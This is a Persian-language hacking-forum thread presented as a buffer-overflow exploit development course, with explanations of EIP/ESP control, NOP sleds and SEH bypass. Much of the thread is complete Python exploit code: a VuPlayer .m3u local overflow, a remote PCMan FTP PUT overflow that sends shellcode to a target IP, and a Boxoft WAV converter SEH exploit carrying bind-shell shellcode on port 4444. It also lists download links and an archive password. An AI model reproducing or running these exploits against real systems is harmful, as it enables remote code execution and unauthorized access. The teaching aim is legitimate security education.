انجمن تیم امنیتی ایران سایبر

Security Buffer Overflow And Exploit Developing Training

شروع موضوع توسط XoDiAK ‏24/8/16 در انجمن Vulnerability Laboratory

  1. لطفا فایل های خود را جهت ماندگاری در انجمن اپلود کنید در صورت مشاهده لینک اپلود خروجی , تاپیک حذف خواهد شد .
    بستن اطلاعیه
بستن اطلاعیه


درود مهمان گرامي؛

مهمان گرامي، براي مشاهده تالار با امکانات کامل ميبايست از طريق ايــن ليـــنک ثبت نام کنيد .

حامی مسابقات و برگزار کننده دوره های پیشرفته ارزیابی امنیت برای سازمان ها فتح پرچم (CTF)
  1. XoDiAK
    مدیر بازنشسته

    وضعیت:
    Offline
    تاریخ عضویت:
    ‏17/6/15
    ارسال ها:
    12
    تشکر شده:
    133
    جنسیت:
    محل سکونت:
    تهران
    Name:
    آرش
    Main os:
    Debian
    با سلام و درود فراوان به اعضای انجمن .
    در این تاپیک به صورت تصویری اموزش اکسپلویت اسیب پذیری های لوکال و ریموت اسیب پذیری های بافر اورفلو قرار میگیرد و سعی میشود به صورت هفتگی یک اموزش قرار میگیرد .
    سر فصل ها :
    • کشف اسیب پذیری و اکسپلویت اسیب پذیری در برنامه ی ویندوزی (لوکال)
    • کشف اسیب پذیری و اکسپلویت اسیب پذیری در برنامه ی ویندوزی 2 ( ریموت)
    • کشف اسیب پذیری و اکسپلویت اسیب پذیری در برنامه ی ویندوزی و بایپس SEH در برنامه (لوکال)
    • کشف اسیب پذیری و اکسپلویت اسیب پذیری در برنامه ی ویندوزی و بایپس DEP و ASLR (لوکال و ریموت)
    • و ....
    سرفصل به مرور زمان اپدیت میشود !

    و اما پیشنیاز های این اموزش ها :
    • درک کامل از CPU و Memory و نحوه کار آن
    • یک ماشین مجازی ویندوز XP یا 7 (میتواند سیستم عامل اصلی باشد و ماشین کالی به صورت مجازی باشد در هر حال توصیه نمیشود)
    • اشنایی با یکی از زبان های Perl , Python , PHP
    • اشنایی با دیباگر ها ( Ollydbg یا Immunity Debugger)
     
    anonyanony، blackops، root3r و 14 نفر دیگر از این ارسال تشکر کرده اند.
  2. XoDiAK
    مدیر بازنشسته

    وضعیت:
    Offline
    تاریخ عضویت:
    ‏17/6/15
    ارسال ها:
    12
    تشکر شده:
    133
    جنسیت:
    محل سکونت:
    تهران
    Name:
    آرش
    Main os:
    Debian
    قبل از هر چیز ما باید Lab یا ازمایشگاه خودمون رو برای تست نفوذ و اکسپلویت نویسی اماده کنیم
    خب یکی از اصلی ترین نیاز های ما یک ماشین مجازی برای استفاده وجلوگیری از اسیب رسیدن به سیستم اصلی میباشد که پیشنهاد میکنم از یک ویندوز به صورت مجازی و از برنامه ی Virtual Box استفاده کنید که البته بر عکس این داستان هم مشکلی نداره فقط باید مراقب باشید!

    دومین چیز و یکی از مهم ترین ها Immunity Debugger هست که ما با این برنامه خیلی کار داریم و شما میتونید این برنامه رو از سایت زیر دانلود کنید :
    برای نمایش این قسمت باید وارد سیستم شوید یا اینکه ثبت نام نمایید
    نیازی به وارد کردن اطلاعات واقعی نیست برای دانلود !
    بعد از نصب دیباگر , پلاگین Mona.py که ضمیمه شده را دانلود کنید و به محل نصب برید و در پوشه ی PyCommands کپی کنید که در اینده از اون استفاده های زیادی میکنیم !
    توجه داشته باشید دیباگر روی ماشین مجازی ویندوز نصب کنید !
    خوب ازمایشگاه یا Lab اماده است برای شروع کار .
    تو ارسال پست بعد با دیباگر کار کنید و باهاش ور برید که باهاش اشنا بشید!
     
    root3r، amirght، JOK3R و 10 نفر دیگر از این ارسال تشکر کرده اند.
  3. XoDiAK
    مدیر بازنشسته

    وضعیت:
    Offline
    تاریخ عضویت:
    ‏17/6/15
    ارسال ها:
    12
    تشکر شده:
    133
    جنسیت:
    محل سکونت:
    تهران
    Name:
    آرش
    Main os:
    Debian
    قبل از هر چیز نیازه که ما درک و اشنایی از ثبات ها یا رجیستر های CPU داشته باشیم ما در عمل اکسپلویتینگ باید به چند تا از ثبات ها که توجه زیادی داشته باشیم که 2 تا از مهمترین ها رجیستر های ESP و EIP هستن. خب حالا این 2 ثبات چیکار میکنن ؟
    ESP : ثبات ESP به بالای ترین نقطه Stack اشاره میکنه !
    EIP : به ادرس بعدی که باید اجرا بشه اشاره میکند.
    خوب حالا فرض کنید برنامه ورودی داشته باشه مثلا نام که 256 بایت ورودی میگیره و اون رو خروجی میده رو کنسول یا در حالات دیگه !
    حالا اگر ما به این برنامه 257 بایت یا بیشتر ورودی بدیم چه اتفاقی میفته ؟ برنامه کرش میکنه و طبق 256 بایت حداکثر تعین شده باشه ما اگر 264 بایت به برنامه بدیم ادرس EIP رو میتونیم تغییر بدیم (توجه داشته باشید که 4 بایت اول رو رجیستر EBP نگه میداره) خوب حالا که ما میتونیم EIP رو تغییر بدیم یعنی میتونی ادرس رو به هر جا از برنامه تغییر بدیم و برنامه رو کنترل کنیم .
    حال ما که دسترسی کامل به EIP داریم اگر بیایم ادرس رو به یک JMP ESP بفرستیم باعث میشه برنامه به سمت بالاترین نقطه استک فرستاده بشه و ما میایم استک رو با شل کد (کد مخربی که به زبان ماشین نوشته شده و باعث اجرای یک دستور خاص میشود !) خودمون پر میکنیم و خط به خط شل کد ما اجرا میشه و باعث میشه ما دسترسی از شل یا در سطح های بالاتر حتی باعث گرفتن دسترسی روت در سیستم میشه !
    پ.نـ : توجه داشته باشید استک طبق استاندارد LIFO یا Last-In-First-Out کار میکند یعنی :
    LIFO کوتاه‌شدهٔ عبارت Last In First Out (آخرین ورودی از همه زودتر خارج می‌شود) است. این سیاست اساس کار پشته‌ها را تشکیل می‌دهد و به مفهوم آن است که آخرین دادهٔ ذخیره شده در پشته، نخستین داده‌ای است که بازیابی می‌شود.

    خب واسه این پست کافیه به نظرم پست بعدی انشالله به صورت تصویری همین تئوری رو بهتون نشون میدم!
     
    root3r، net.editor، amirght و 11 نفر دیگر از این ارسال تشکر کرده اند.
  4. XoDiAK
    مدیر بازنشسته

    وضعیت:
    Offline
    تاریخ عضویت:
    ‏17/6/15
    ارسال ها:
    12
    تشکر شده:
    133
    جنسیت:
    محل سکونت:
    تهران
    Name:
    آرش
    Main os:
    Debian
    تمامی پارت ها برای دانلود !
    هر پارت 10 مگ
    ویدیو بسیار کامل به مدت 45 دقیقه کامل :D
    برای Extract از اخرین نسخه Winrar استفاده کنید !
    رمز : iran-cyber.net
    امیدوارم خسته نشید ! :)
    کد:
    https://mega.nz/#F!gRh0mTLQ!TQ_AtxfUXP3We3aJo9rDMA
    اکسپلویت کامل شده :
    PHP:
    #!/usr/bin/python

    #[+] Exploit Title: VuPlayer ('.m3u') Local Buffer Overflow
    #[+] Date: 26/8/2016
    #[+] Exploit Author: Iran Cyber Security Team
    #[+] http://vuplayer.com/
    #[+] Software Link: https://www.exploit-db.com/apps/39adeb7fa4711cd1cac8702fb163ded5-vuplayersetup.exe
    #[+] Version: 2.49
    #[+] Tested on: Windows 7 Professional
    #[+] CVE : N/A
    #Reference : https://www.exploit-db.com/exploits/13756/


    import sys

    junk 
    "A"*1012
    # JMP ESP BASS.DLL 0x1010539F
    eip =  "\x9F\x53\x10\x10"
    # NOPS
    nop "\x90"*50
    # msfvenom -p windows/exec CMD="calc.exe" -b "\x00\x09\x0a\x0d\x1a" -f c
    buf = ("\xda\xdd\xd9\x74\x24\xf4\x5d\x2b\xc9\xb1\x31\xba\xb3\x98\xc4"
    "\xb4\x31\x55\x18\x83\xed\xfc\x03\x55\xa7\x7a\x31\x48\x2f\xf8"
    "\xba\xb1\xaf\x9d\x33\x54\x9e\x9d\x20\x1c\xb0\x2d\x22\x70\x3c"
    "\xc5\x66\x61\xb7\xab\xae\x86\x70\x01\x89\xa9\x81\x3a\xe9\xa8"
    "\x01\x41\x3e\x0b\x38\x8a\x33\x4a\x7d\xf7\xbe\x1e\xd6\x73\x6c"
    "\x8f\x53\xc9\xad\x24\x2f\xdf\xb5\xd9\xe7\xde\x94\x4f\x7c\xb9"
    "\x36\x71\x51\xb1\x7e\x69\xb6\xfc\xc9\x02\x0c\x8a\xcb\xc2\x5d"
    "\x73\x67\x2b\x52\x86\x79\x6b\x54\x79\x0c\x85\xa7\x04\x17\x52"
    "\xda\xd2\x92\x41\x7c\x90\x05\xae\x7d\x75\xd3\x25\x71\x32\x97"
    "\x62\x95\xc5\x74\x19\xa1\x4e\x7b\xce\x20\x14\x58\xca\x69\xce"
    "\xc1\x4b\xd7\xa1\xfe\x8c\xb8\x1e\x5b\xc6\x54\x4a\xd6\x85\x32"
    "\x8d\x64\xb0\x70\x8d\x76\xbb\x24\xe6\x47\x30\xab\x71\x58\x93"
    "\x88\x8e\x12\xbe\xb8\x06\xfb\x2a\xf9\x4a\xfc\x80\x3d\x73\x7f"
    "\x21\xbd\x80\x9f\x40\xb8\xcd\x27\xb8\xb0\x5e\xc2\xbe\x67\x5e"
    "\xc7\xdc\xe6\xcc\x8b\x0c\x8d\x74\x29\x51"
    )
    # Putting All Together ..
    exploit junk eip nop buf
    open('evil.m3u','w')
    f.write(exploit)
    f.close

    print "File Name : " sys.argv[0]
    print 
    "Exploit Successfully Generated !"
     
    آخرین ویرایش: ‏1/9/16
    blackops، net.editor، amirght و 12 نفر دیگر از این ارسال تشکر کرده اند.
  5. XoDiAK
    مدیر بازنشسته

    وضعیت:
    Offline
    تاریخ عضویت:
    ‏17/6/15
    ارسال ها:
    12
    تشکر شده:
    133
    جنسیت:
    محل سکونت:
    تهران
    Name:
    آرش
    Main os:
    Debian
    با سلام خدمت همه ی اعضا
    در این قسمت از اموزش همونطور که در پست اول گفته شده بود اموزش اکسپلویت و سوءاستفاده از اسیب پذیری بافر اورفلو به صورت ریموت یا از راه دور قرار گرفته شه ! در این اموزش ما یک FTP Server رو انالیز و اکسپلویت میکنم .
    اموزش در ۲۷ دقیقه به تصویری .
    حجم‌: ۳۶.۵ مگابایت
    امیدوارم از اموزش لذت ببرید انتقادی پیشنهادی درخواستی داشتید در پ.خ درمیون بزارید حتما .
    لینک دانلود :
    کد:
    https://mega.nz/#!cF4yhCCB!0EE8rQR9tnkhqClxy8eaQrErS3f43uMdAz_QsNm0P6o
    
    اکسپلویت کامل شده :

    PHP:
    #!/usr/bin/python

    #[+] Exploit Title: PCMANFtp Server (PUT) Command Buffer Overflow
    #[+] Date: 31/8/2016
    #[+] Exploit Author: Iran Cyber Security Team
    #[+] Software Link: https://www.exploit-db.com/apps/9fceb6fefd0f3ca1a8c36e97b6cc925d-PCMan.7z
    #[+] Version: 2.49
    #[+] Tested on: Windows 7 Professional X86
    #Reference : https://www.exploit-db.com/exploits/39662
     
    #[+] CVE : N/A
    # Usage : PcManftp.py [IP Address]

    import socket,sys

    HOST 
    sys.argv[1]
    PORT 21

    junk 
    "A"*2007 # Junk A

    # msvcrt.dll 0x77A2B391   FFE4             JMP ESP

    eip "\x91\xB3\xA2\x77"

    # Calc.exe Universal Shellcode !

    evil = ("\x31\xc9\x64\x8b\x41\x30\x8b\x40\x0c\x8b\x70\x14\xad\x96\xad\x8b\x58\x10\x8b\x53\x3c\x01\xda\x8b\x52\x78\x01\xda\x8b\x72\x20\x01\xde\x31\xc9\x41\xad\x01\xd8\x81\x38\x47\x65\x74\x50\x75\xf4\x81\x78\x04\x72\x6f\x63\x41\x75\xeb\x81\x78\x08\x64\x64\x72\x65\x75\xe2\x8b\x72\x24\x01\xde\x66\x8b\x0c\x4e\x49\x8b\x72\x1c\x01\xde\x8b\x14\x8e\x01\xda\x53\x52\x31\xc9\x51\xb9\x78\x65\x63\x61\x51\x83\x6c\x24\x03\x61\x68\x57\x69\x6e\x45\x54\x53\xff\xd2\x83\xc4\x08\x59\x50\x31\xc9\x51\x68\x2e\x65\x78\x65\x68\x63\x61\x6c\x63\x31\xdb\x89\xe3\x31\xc9\x41\x51\x53\xff\xd0\x83\xc4\x10\x5a\x5b\x31\xc9\xb9\x65\x73\x73\x61\x51\x83\x6c\x24\x03\x61\x68\x50\x72\x6f\x63\x68\x45\x78\x69\x74\x54\x53\xff\xd2\x31\xc9\x51\xff\xd0")

    exploit junk eip "\x90"*50 evil

    socket.socket(socket.AF_INETsocket.SOCK_STREAM# Create Socket
    s.connect((HOST,PORT)) # connecting To FTP Server
    s.recv(1024# Read Banner FTP
    s.send('USER anonymous\r\n'# UserName Input
    s.recv(1024# Recv Password Input Message
    s.send('PASS \r\n'# Password Input
    s.recv(1024# Recv Welcome Message
    s.send('PUT 'exploit '\r\n'# Sending Buffer !
    s.close() # Socket Close

    print "Evil Buffer Sended Successfully! To " sys.argv[1]
     
    Nazanin Wild، 0x3a، net.editor و 10 نفر دیگر از این ارسال تشکر کرده اند.
  6. Mkali07
    مدیریت انجمن

    وضعیت:
    Offline
    تاریخ عضویت:
    ‏9/6/16
    ارسال ها:
    103
    تشکر شده:
    545
    محل سکونت:
    /etc
    Name:
    root
    Main os:
    Kali
    با سلام

    با تشکر از جناب XoDiAK بابت درست کردن این تاپیکت جهت ارتقاع دانش عمومی

    خب گفتم در مورد یه مبحثی صحبت کنم که از نظر سطح پیشرفته از نظر کارایی بالا و نظر دانشی سخت هست و اینکه حیف هست همچین تاپیکتی ادامه دار نباشد

    توضیح یک خطی : Stack based Buffer overflow يكي از آسيب پذيري هاي متداول است. اين اسيب پذيري بر هر تابعي كه ورودي خود را بدون چك كردن باند ها بر روي مموري كپي ميكند، اثر ميگذارد.

    توضیحات : در این پست آموزش های بافر گذاشته میشود این آموزش ها شامل کار کردن روی انواع نرم افزار ها و باگ های جدید منتشر شده هست
    پیشنیاز :

    که اول این تاپیکت هست و جناب XoDiAK توضیحات کامل رو دادن

    از مدیران یا دوستانی که علاقه مند به این موضوع هستند و میتونند یا دوست دارن در این آموزش ها سهیم باشن ممنون میشم پ خ کنن و همکاریشونو اعلام کنن تا این مبحث گسترده و بهتر و کامل تر شود

    پست اول به زودی گذاشته میشود. buffer(local)s
     
    Nazanin Wild، Reza.Black، 0x3a و 5 نفر دیگر از این ارسال تشکر کرده اند.
  7. Mkali07
    مدیریت انجمن

    وضعیت:
    Offline
    تاریخ عضویت:
    ‏9/6/16
    ارسال ها:
    103
    تشکر شده:
    545
    محل سکونت:
    /etc
    Name:
    root
    Main os:
    Kali
    با سلام

    همانطور که در پست قبل گفتم آموزش اول قرار گرفت

    ==> نمی دونم چرا تو نوشتن هی سوتی میدم :-w

    فایل ها + آموزش ضمیمه شد.
     

    پیوست ها:

    Nazanin Wild، Reza.Black، davala و 7 نفر دیگر از این ارسال تشکر کرده اند.
  8. Mkali07
    مدیریت انجمن

    وضعیت:
    Offline
    تاریخ عضویت:
    ‏9/6/16
    ارسال ها:
    103
    تشکر شده:
    545
    محل سکونت:
    /etc
    Name:
    root
    Main os:
    Kali
    با سلام

    چند روز پیش اسیب پذیری منتشر شده به اسم
    Boxoft WAV to WMA Converter 1.0 - Local Buffer Overflow (SEH)

    خب در این قسمت ما توضیحاتی رو ارایه میدیم برای اینکه دوستان از این نوع باگ درک بیشتری رو ببرند و ایشالله در پست های بعدی آموزش های بهتری هم قرار خواهد گرفت

    PHP:
    buffer "A" 4132[/B][/LEFT][/B][/LEFT]
    [
    B]
    [
    LEFT][B]
    [
    LEFT]buffer+= "\x90\x90\xeb\x06" #jmp short 6
    buffer+= "\x34\x14\x40\x00" # pop pop retn
    buffer+= "\x90" 20
    buffer
    += ("\xda\xd5\xb8\x9b\x69\x4d\xa1\xd9\x74\x24\xf4\x5a\x33" #Bind shellcode port 4444
    "\xc9\xb1\x60\x83\xc2\x04\x31\x42\x15\x03\x42\x15\x79"
    "\x9c\xf2\x9b\x0c\xb0\x35\x05\x03\x97\x32\x91\x2f\x75"
    "\x92\x10\x7e\xdf\xd5\xdf\x95\x63\xd0\x24\x96\x1e\xca"
    "\xc6\x57\x4b\xd9\xe7\x3c\xe4\x1c\xa0\xd9\x7e\x72\xe4"
    "\x38\x26\xd1\x92\x88\x79\x63\x55\xe3\x94\xfe\x9a\xac"
    "\xb5\xde\xe4\x35\xbc\xd0\x9f\xe6\x92\x63\x51\x5a\xaf"
    "\xad\x1b\xb0\xf9\x6e\x46\xac\x68\xa9\x48\xce\xb8\xe1"
    "\xd2\xf5\x1a\x7d\x84\xde\xb9\x55\xa0\xe8\xe3\xd8\xb2"
    "\x31\xfb\x1a\x0b\xea\xed\xf4\x8f\xdd\xf5\x55\xbf\x1a"
    "\xa5\xe8\xd8\xfa\xde\x45\x11\x7c\x4d\xea\x87\x0f\x9f"
    "\xe5\xdf\x90\x18\x7e\x52\x1b\xd7\x24\x22\xab\x1b\xda"
    "\x31\xa2\x75\x8f\xa3\x13\x99\x20\x5e\x07\x57\x68\x3e"
    "\x10\xc7\xc2\xb0\x2b\xa0\x13\xd6\x6a\x3e\xc3\x1e\x99"
    "\x4f\xf0\xce\x63\x50\xe3\x90\x80\x3e\x0e\x9c\x39\x7e"
    "\x48\xe6\xf0\xe7\x3b\xd3\x7d\xe3\xa3\x62\x41\xee\x19"
    "\xd0\xa8\xc9\xdb\x02\x93\x0f\x34\xb0\xad\x81\x08\x57"
    "\xce\xb8\x38\xfe\x13\xc9\xe7\x40\xc2\x17\xa6\x3a\x4c"
    "\x06\x31\xfc\x3f\x8f\xcb\x85\x84\x74\x98\x9c\x63\xe5"
    "\x46\x2f\xfc\x15\x3b\x5c\x37\xd3\x36\xfc\x39\x3c\x86"
    "\x29\x32\xbb\xb3\x04\x13\x6a\xd1\xa7\x55\xac\x8e\xa8"
    "\x05\xaf\xc3\xae\x9d\xc6\x5f\xa8\x9d\x8e\x4a\x25\x3a"
    "\x35\xa3\xd7\x4c\xaa\xb1\x87\xca\x54\x6d\xdc\xb2\xf3"
    "\x3a\xaa\x29\xea\x44\x01\x4e\xb0\x08\x9a\xd0\xb5\x69"
    "\x42\xe5\xb4\x5f\x59\xff\xb4\x90\xe2\x97\x66\x09\x89"
    "\x87\x8e\xff\xa8\x21\x68\x3f\x01\xe9\xb3\x27\x63\xd2"
    "\x93\x2f\x4d\x9c\x28\x21\xd4\x9d\xad\x8f\x24\x19\xc9"
    "\x98\xbc\x24\x0b\x47\x84\x9c\x57\xd2\x20\x79\x71\x67"
    "\xe0\xd1\xcd\x40\x51\x7d\xe2\x39\xa9\xd2\x92\x4c\x24"
    "\x59\x7b\xfd\x89\x6e\xea\xec\xc8\xac\x54\x8a\x26\x60"
    "\x81\x38\x06\x32\xab\x56\x1c\xe7\xd0\x78\xe5\xa2\x75"
    "\xc8\x28\x1b\xd5\x3f\x51"
    )
     
    try:
        
    f=open("Evil.wav","w")
        print 
    "[+] Creating %s bytes evil payload.." %len(buffer)
        
    f.write(buffer)
        
    f.close()
        print 
    "[+] File created!"
    except:
        print 
    "File cannot be created"



    PHP:
    buffer "A" 4132
    در این قسمت با حرف A رو ۴۱۳۲ بار چاپ میکنیم و در متغیر تعریف شده میزاریم اما دلیل اینکار برای چیست :

    ببینید اساسا این باگ برحسب سریز یا کرش اون برنامه رخ میده وقتی برنامه ایی 256 بایت میگیره اگر 257 بایت بدیم خب برنامه کرش میکنه چون از حد مقدار تعیین شده بیشتر هست دقیقا همین رو دوست عزیزمون برای نمایش این قسمت باید وارد سیستم شوید یا اینکه ثبت نام نمایید گفتن که من برای یاداوری گفتم اما به این شکل تفکر ایجاد نشه که خب هر برنامه ایی رو میشه اینکارو باهاش کرد !

    یعنی مقدار بایتی که میگیره رو بدست بیاریم و بیشتر بدیم خب دیگه برنامه ما باگ داره !‌خیر این باگ در قسمتی ایجاد میشه که اون تابع ایی که تعریف شده یا اون قسمتی که تعریف شده

    نمیاد ورودی هارو کنترل کنه و ما از این ضعف استفاده میکنیم نه هرجایی که صرفا ورودی بگیره !

    PHP:
    buffer+= "\x90\x90\xeb\x06" #jmp short 6
    اگر در برنامه JMP ESP پیدا کنیم یعنی اینکه Pointer ابتدا به بالای stack میپرد (jmp) . و از آنجا که shellcode در انتها قرار گرفته پس شروع به اجرای آن خواهد کرد.

    PHP:
    buffer+= "\x34\x14\x40\x00" # pop pop retn
    خب اما در اینجا pop , retn چیکار میکنن ؟ در اینجا
    pop چهار بایت رو از EAX میگیرد و به طور مستقیم آنها را به EAX ذخیره میکند و ret ۴ بایت رو در esp به epi بارگذاری میکند حال اگر شکل کد ما 8 بایت یعنی esp+8 باشد فقط میمونه یه عمل pop,pop ret پیدا کرده و پرش کنیم به قسمت بالا تا عمل pop رو اجرا کنیم (حذف قسمت بالایی پشته)

    PHP:
    buffer+= "\x90" 20
    حال اگر قبل از shellcode تعدادی 0x90 قرار بدهیم ، همین 0x90 ها بالای stack قرار میگیرند و بین x90 ها land میشویم که این روش قابل اطمینان تر است. در واقع x90 یک نال کد هست که خالی هست و بصورت
    skip عمل میکند تا فضا یا ادرس بعدی اجرای برنامه رو پیدا کنیم و در اخر شل کد رو ران کنیم

    در بقیه کد هم که تمامی این buf ها جمع و با فرمتی که قابل ضعف هست در این برنامه رو اجرا میکند

    برای نمایش این قسمت باید وارد سیستم شوید یا اینکه ثبت نام نمایید
    موفق باشید
     
    davala، mr_null، root3r و 4 نفر دیگر از این ارسال تشکر کرده اند.
  9. EmileJom
    کاربرتازه وارد

    وضعیت:
    Offline
    تاریخ عضویت:
    ‏26/9/19
    ارسال ها:
    2
    تشکر شده:
    1
    Name:
    EmileJom
    Main os:
    Fedora
    My emulator is cross-plateform so it wouldnt be difficult to developp it under linux.
    I will try it because im curious t osee how it run on linux plateform.

    => Dr Memory help me to find the function where i was doing buffer overflow.
    Now all is perfect
     
  10. Unkn0wn
    عضو انجمن

    وضعیت:
    Offline
    تاریخ عضویت:
    ‏30/5/18
    ارسال ها:
    107
    تشکر شده:
    576
    جنسیت:
    Name:
    Unknown
    Main os:
    Mac
    دوستان اگر کسی ویدیو مربوط به اموزش


    برای نمایش این قسمت باید وارد سیستم شوید یا اینکه ثبت نام نمایید

    رو دارن اپلود کنن ممنون میشم
     
بارگذاری...
به انجمن تخصصی امنیت ایران سایبر خوش آمدید . برای مشاهده تمامی تالار ها و امکانات ثبت نام کنید .